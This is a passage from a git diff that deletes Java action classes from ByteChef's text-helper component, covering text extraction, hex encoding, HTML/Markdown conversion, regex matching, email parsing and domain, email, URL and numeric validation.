- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.PATTERN_END;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.PATTERN_START;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-import static com.bytechef.component.text.helper.util.TextHelperUtils.getPatternEndIndex;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-
-/**
- * @author Nikolina Špehar
- */
-public class TextHelperGetTextBetweenAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("getTextBetween")
-        .title("Get Text Between")
-        .description("Extract text between two patterns.")
-        .properties(
-            string(TEXT)
-                .label("Text")
-                .description("The text that will be searched for the patterns.")
-                .required(true),
-            string(PATTERN_START)
-                .label("Start Pattern")
-                .description("Start pattern from where substring will be extracted.")
-                .required(true),
-            string(PATTERN_END)
-                .label("End Pattern")
-                .description("End pattern to where substring will be extracted.")
-                .required(true))
-        .output(outputSchema(string().description("Extracted substring.")))
-        .help("", "https://docs.bytechef.io/reference/components/text-helper_v1#get-text-between")
-        .perform(TextHelperGetTextBetweenAction::perform);
-
-    private TextHelperGetTextBetweenAction() {
-    }
-
-    public static String perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        String text = inputParameters.getRequiredString(TEXT);
-        String startPattern = inputParameters.getRequiredString(PATTERN_START);
-        String endPattern = inputParameters.getRequiredString(PATTERN_END);
-
-        int startPatternEndIndex = getPatternEndIndex(startPattern, text, 1);
-        int endPatternIndex = getPatternEndIndex(endPattern, text, 1) - endPattern.length();
-
-        return text.substring(startPatternEndIndex, endPatternIndex);
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperGetTextLengthAction.java b/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperGetTextLengthAction.java
deleted file mode 100644
index 38672a42103..00000000000
--- a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperGetTextLengthAction.java
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.integer;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-
-/**
- * @author Nikolina Špehar
- */
-public class TextHelperGetTextLengthAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("getTextLength")
-        .title("Get Text Length")
-        .description("Returns length of the given text.")
-        .properties(
-            string(TEXT)
-                .label("Text")
-                .description("The text of which the length will be returned of.")
-                .required(true))
-        .output(outputSchema(integer().description("Length of the text.")))
-        .help("", "https://docs.bytechef.io/reference/components/text-helper_v1#get-text-length")
-        .perform(TextHelperGetTextLengthAction::perform);
-
-    private TextHelperGetTextLengthAction() {
-    }
-
-    public static int perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        String text = inputParameters.getRequiredString(TEXT);
-
-        return text.length();
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperHexEncodeDecodeAction.java b/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperHexEncodeDecodeAction.java
deleted file mode 100644
index 80999f6cf42..00000000000
--- a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperHexEncodeDecodeAction.java
+++ /dev/null
@@ -1,71 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.OPERATION;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.OPERATION_PROPERTY;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.text.helper.constant.OperationType;
-import java.nio.charset.StandardCharsets;
-import java.util.HexFormat;
-import java.util.Objects;
-
-/**
- * @author Nikolina Špehar
- */
-public class TextHelperHexEncodeDecodeAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("hexEncodeDecode")
-        .title("Hex Encode/Decode")
-        .description("Hex encode/decode a specified string.")
-        .properties(
-            string(TEXT)
-                .label("Text")
-                .description("The text that will be encoded or decoded.")
-                .required(true),
-            OPERATION_PROPERTY)
-        .output(outputSchema(string().description("Hex encoded/decoded content.")))
-        .help("", "https://docs.bytechef.io/reference/components/text-helper_v1#hex-encodedecode")
-        .perform(TextHelperHexEncodeDecodeAction::perform);
-
-    private TextHelperHexEncodeDecodeAction() {
-    }
-
-    public static String perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        String text = inputParameters.getRequiredString(TEXT);
-
-        if (text.isEmpty()) {
-            return text;
-        }
-
-        String operation = inputParameters.getRequiredString(OPERATION);
-        HexFormat hexFormat = HexFormat.of();
-
-        if (Objects.equals(operation, OperationType.ENCODE.name())) {
-            return hexFormat.formatHex(text.getBytes(StandardCharsets.UTF_8));
-        } else {
-            return new String(hexFormat.parseHex(text), StandardCharsets.UTF_8);
-        }
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperHtmlToMarkdownAction.java b/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperHtmlToMarkdownAction.java
deleted file mode 100644
index 42e522f1ef4..00000000000
--- a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperHtmlToMarkdownAction.java
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.HTML;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.Property.ControlType;
-import com.vladsch.flexmark.html2md.converter.FlexmarkHtmlConverter;
-
-/**
- * @author Monika Kušter
- */
-public class TextHelperHtmlToMarkdownAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("HtmlToMarkdown")
-        .title("HTML to Markdown")
-        .description("Converts HTML to markdown.")
-        .properties(
-            string(HTML)
-                .label("HTML Content")
-                .description("HTML content to be converted to markdown.")
-                .controlType(ControlType.TEXT_AREA)
-                .required(true))
-        .output(outputSchema(string().description("Markdown content.")))
-        .help("", "https://docs.bytechef.io/reference/components/text-helper_v1#html-to-markdown")
-        .perform(TextHelperHtmlToMarkdownAction::perform);
-
-    private TextHelperHtmlToMarkdownAction() {
-    }
-
-    public static String perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        return FlexmarkHtmlConverter.builder()
-            .build()
-            .convert(inputParameters.getRequiredString(HTML));
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperIsDomainAction.java b/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperIsDomainAction.java
deleted file mode 100644
index 4c5568f6ea7..00000000000
--- a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperIsDomainAction.java
+++ /dev/null
@@ -1,58 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.bool;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-import java.util.regex.Pattern;
-
-/**
- * @author Nikolina Špehar
- */
-public class TextHelperIsDomainAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("isDomain")
-        .title("Is Domain?")
-        .description("Check if a string is a valid domain.")
-        .properties(
-            string(TEXT)
-                .label("Text")
-                .description("The text to be checked as a valid domain name.")
-                .required(true))
-        .output(outputSchema(bool().description("Whether the text is a valid domain.")))
-        .help("", "https://docs.bytechef.io/reference/components/text-helper_v1#is-domain")
-        .perform(TextHelperIsDomainAction::perform);
-
-    private TextHelperIsDomainAction() {
-    }
-
-    public static boolean perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        String domainRegex = "^(?=.{1,253}$)(?!-)[A-Za-z0-9-]{1,63}(?<!-)"
-            + "(\\.(?!-)[A-Za-z0-9-]{1,63}(?<!-))*$";
-
-        return Pattern.compile(domainRegex)
-            .matcher(inputParameters.getRequiredString(TEXT))
-            .matches();
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperIsEmailAction.java b/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperIsEmailAction.java
deleted file mode 100644
index b89f2033f0f..00000000000
--- a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperIsEmailAction.java
+++ /dev/null
@@ -1,55 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.bool;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-import java.util.regex.Pattern;
-
-/**
- * @author Nikolina Špehar
- */
-public class TextHelperIsEmailAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("isEmail")
-        .title("Is Email?")
-        .description("Check if a string is a valid email address.")
-        .properties(
-            string(TEXT)
-                .label("Text")
-                .description("The text to be checked as a valid email address.")
-                .required(true))
-        .output(outputSchema(bool().description("Whether the text is a valid email address.")))
-        .help("", "https://docs.bytechef.io/reference/components/text-helper_v1#is-email")
-        .perform(TextHelperIsEmailAction::perform);
-
-    private TextHelperIsEmailAction() {
-    }
-
-    public static boolean perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        return Pattern.compile("^[A-Za-z0-9+_.-]+@[A-Za-z0-9.-]+$")
-            .matcher(inputParameters.getRequiredString(TEXT))
-            .matches();
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperIsNumericAction.java b/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperIsNumericAction.java
deleted file mode 100644
index 5cfc02ec9af..00000000000
--- a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperIsNumericAction.java
+++ /dev/null
@@ -1,55 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.bool;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-import org.apache.commons.lang3.math.NumberUtils;
-
-/**
- * @author Nikolina Špehar
- */
-public class TextHelperIsNumericAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("isNumeric")
-        .title("Is Numeric?")
-        .description("Check if a text string is a number.")
-        .properties(
-            string(TEXT)
-                .description("The input text that will be checked. Decimal point is a point '.'.")
-                .label("Text")
-                .required(true))
-        .output(outputSchema(bool().description("Whether the input text is number.")))
-        .help("", "https://docs.bytechef.io/reference/components/text-helper_v1#is-numeric")
-        .perform(TextHelperIsNumericAction::perform);
-
-    private TextHelperIsNumericAction() {
-    }
-
-    public static boolean perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        String text = inputParameters.getRequiredString(TEXT);
-
-        return NumberUtils.isCreatable(text.trim());
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperIsUrlAction.java b/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperIsUrlAction.java
deleted file mode 100644
index 93c1a795ca9..00000000000
--- a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperIsUrlAction.java
+++ /dev/null
@@ -1,90 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.bool;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.ALLOW_2_SLASHES;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.ALLOW_ALL_SCHEMES;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.ALLOW_LOCAL_URLS;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.NO_FRAGMENT;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.Property.ControlType;
-import org.apache.commons.validator.routines.UrlValidator;
-
-/**
- * @author Nikolina Špehar
- */
-public class TextHelperIsUrlAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("isUrl")
-        .title("Is URL?")
-        .description("Check if a string is a valid URL.")
-        .properties(
-            string(TEXT)
-                .label("Text")
-                .description("The input text that will be checked.")
-                .controlType(ControlType.TEXT_AREA)
-                .required(true),
-            bool(ALLOW_2_SLASHES)
-                .label("Allow 2 Slashes")
-                .description("Allows double '/' characters in the path component.")
-                .required(false)
-                .defaultValue(false),
-            bool(NO_FRAGMENT)
-                .label("No Fragment")
-                .description("Enabling this options disallows any URL fragments.")
-                .required(false)
-                .defaultValue(false),
-            bool(ALLOW_ALL_SCHEMES)
-                .label("Allow All Schemes")
-                .description(
-                    "Allows all validly formatted schemes to pass validation instead of supplying a set of valid " +
-                        "schemes.")
-                .required(false)
-                .defaultValue(false),
-            bool(ALLOW_LOCAL_URLS)
-                .label("Allow Local URLs")
-                .description("Allow local URLs, such as https://localhost/ or https://machine/ .")
-                .required(false)
-                .defaultValue(false))
-        .output(outputSchema(bool().description("Whether the text is valid URL.")))
-        .help("", "https://docs.bytechef.io/reference/components/text-helper_v1#is-url")
-        .perform(TextHelperIsUrlAction::perform);
-
-    private TextHelperIsUrlAction() {
-    }
-
-    public static boolean perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        String url = inputParameters.getRequiredString(TEXT);
-
-        long allow2slashes = inputParameters.getBoolean(ALLOW_2_SLASHES) ? UrlValidator.ALLOW_2_SLASHES : 0L;
-        long noFragment = inputParameters.getBoolean(NO_FRAGMENT) ? UrlValidator.NO_FRAGMENTS : 0L;
-        long allowAllSchemes = inputParameters.getBoolean(ALLOW_ALL_SCHEMES) ? UrlValidator.ALLOW_ALL_SCHEMES : 0L;
-        long allowLocalUrls = inputParameters.getBoolean(ALLOW_LOCAL_URLS) ? UrlValidator.ALLOW_LOCAL_URLS : 0L;
-
-        UrlValidator urlValidator = new UrlValidator(allow2slashes + noFragment + allowAllSchemes + allowLocalUrls);
-
-        return urlValidator.isValid(url);
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperMarkdownToHtmlAction.java b/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperMarkdownToHtmlAction.java
deleted file mode 100644
index 4a4256cfd6f..00000000000
--- a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperMarkdownToHtmlAction.java
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.MARKDOWN;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.Property.ControlType;
-import com.vladsch.flexmark.html.HtmlRenderer;
-import com.vladsch.flexmark.parser.Parser;
-import com.vladsch.flexmark.profile.pegdown.Extensions;
-import com.vladsch.flexmark.profile.pegdown.PegdownOptionsAdapter;
-import com.vladsch.flexmark.util.ast.Document;
-import com.vladsch.flexmark.util.data.DataHolder;
-
-/**
- * @author Monika Kušter
- */
-public class TextHelperMarkdownToHtmlAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("markdownToHtml")
-        .title("Markdown to HTML")
-        .description("Converts markdown to HTML.")
-        .properties(
-            string(MARKDOWN)
-                .label("Markdown content")
-                .description("Markdown content to convert to HTML.")
-                .controlType(ControlType.TEXT_AREA)
-                .required(true))
-        .output(outputSchema(string().description("HTML content.")))
-        .help("", "https://docs.bytechef.io/reference/components/text-helper_v1#markdown-to-html")
-        .perform(TextHelperMarkdownToHtmlAction::perform);
-
-    private TextHelperMarkdownToHtmlAction() {
-    }
-
-    public static String perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        DataHolder dataHolder = PegdownOptionsAdapter.flexmarkOptions(true, Extensions.ALL);
-
-        Document document = Parser
-            .builder(dataHolder)
-            .build()
-            .parse(inputParameters.getRequiredString(MARKDOWN));
-
-        return HtmlRenderer
-            .builder(dataHolder)
-            .build()
-            .render(document);
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperMatchAction.java b/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperMatchAction.java
deleted file mode 100644
index 4a7b49c3775..00000000000
--- a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperMatchAction.java
+++ /dev/null
@@ -1,67 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.array;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.REGULAR_EXPRESSION;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.text.helper.util.TextHelperUtils;
-import java.util.List;
-
-/**
- * @author Nikolina Špehar
- */
-public class TextHelperMatchAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("match")
-        .title("Match")
-        .description("Retrieve the result of matching a string against a regular expression.")
-        .properties(
-            string(TEXT)
-                .label("Text")
-                .description("The text that will be matched to the regular expression.")
-                .required(true),
-            string(REGULAR_EXPRESSION)
-                .label("Regular Expression")
-                .description("Regular expression that will be used on the text.")
-                .required(true))
-        .output(outputSchema(
-            array()
-                .description("Array of results of matching a string against a regular expression.")
-                .items(
-                    string()
-                        .description("Result of matching a string against a regular expression."))))
-        .help("", "https://docs.bytechef.io/reference/components/text-helper_v1#match")
-        .perform(TextHelperMatchAction::perform);
-
-    private TextHelperMatchAction() {
-    }
-
-    public static List<String> perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        String text = inputParameters.getRequiredString(TEXT);
-        String regularExpression = inputParameters.getRequiredString(REGULAR_EXPRESSION);
-
-        return TextHelperUtils.extractByRegEx(text, regularExpression);
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperParseEmailAction.java b/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperParseEmailAction.java
deleted file mode 100644
index ca563a1d142..00000000000
--- a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperParseEmailAction.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.EMAIL;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.PARSED_EMAIL_OBJECT;
-import static com.bytechef.component.text.helper.util.TextHelperUtils.parseEmail;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-import java.util.Map;
-
-/**
- * @author Nikolina Špehar
- */
-public class TextHelperParseEmailAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("parseEmail")
-        .title("Parse Email")
-        .description(
-            "Parse email into structured object. For example: \"Name <name@domain.com>\" into {displayName: " +
-                "'Name', localPart: 'name', domain: 'domain.com'}.")
-        .properties(
-            string(EMAIL)
-                .label("Email")
-                .description("The email that will be turned into structured data.")
-                .required(true))
-        .output(outputSchema(PARSED_EMAIL_OBJECT))
-        .help("", "https://docs.bytechef.io/reference/components/text-helper_v1#parse-email")
-        .perform(TextHelperParseEmailAction::perform);
-
-    private TextHelperParseEmailAction() {
-    }
-
-    public static Map<String, String> perform(
-        Parameters inputParameters, Parameters connectionParameters, Context context) {
-
-        String emailInput = inputParameters.getRequiredString(EMAIL);
-
-        return parseEmail(emailInput);
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperParseEmailListAction.java b/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperParseEmailListAction.java
deleted file mode 100644
index 923910ee6db..00000000000
--- a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperParseEmailListAction.java
+++ /dev/null
@@ -1,76 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.array;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.EMAIL;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.EMAILS;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.PARSED_EMAIL_OBJECT;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.text.helper.util.TextHelperUtils;
-import java.util.List;
-import java.util.Map;
-
-/**
- * @author Nikolina Špehar
- */
-public class TextHelperParseEmailListAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("parseEmailList")
-        .title("Parse Email List")
-        .description(
-            "Parse emails into structured objects. For example: \"Name <name@domain.com>\" into {displayName: " +
-                "'Name', localPart: 'name', domain: 'domain.com'}.")
-        .properties(
-            array(EMAILS)
-                .label("Emails")
-                .description("A list of emails that will be turned into structured data.")
-                .required(true)
-                .items(
-                    string(EMAIL)
-                        .label("Email")
-                        .description("The email that will be turned into structured data.")
-                        .required(true)))
-        .output(
-            outputSchema(
-                array()
-                    .description(
-                        "List of parsed email objects. Each object contains the display name, local part, and " +
-                            "domain of the email.")
-                    .items(PARSED_EMAIL_OBJECT)))
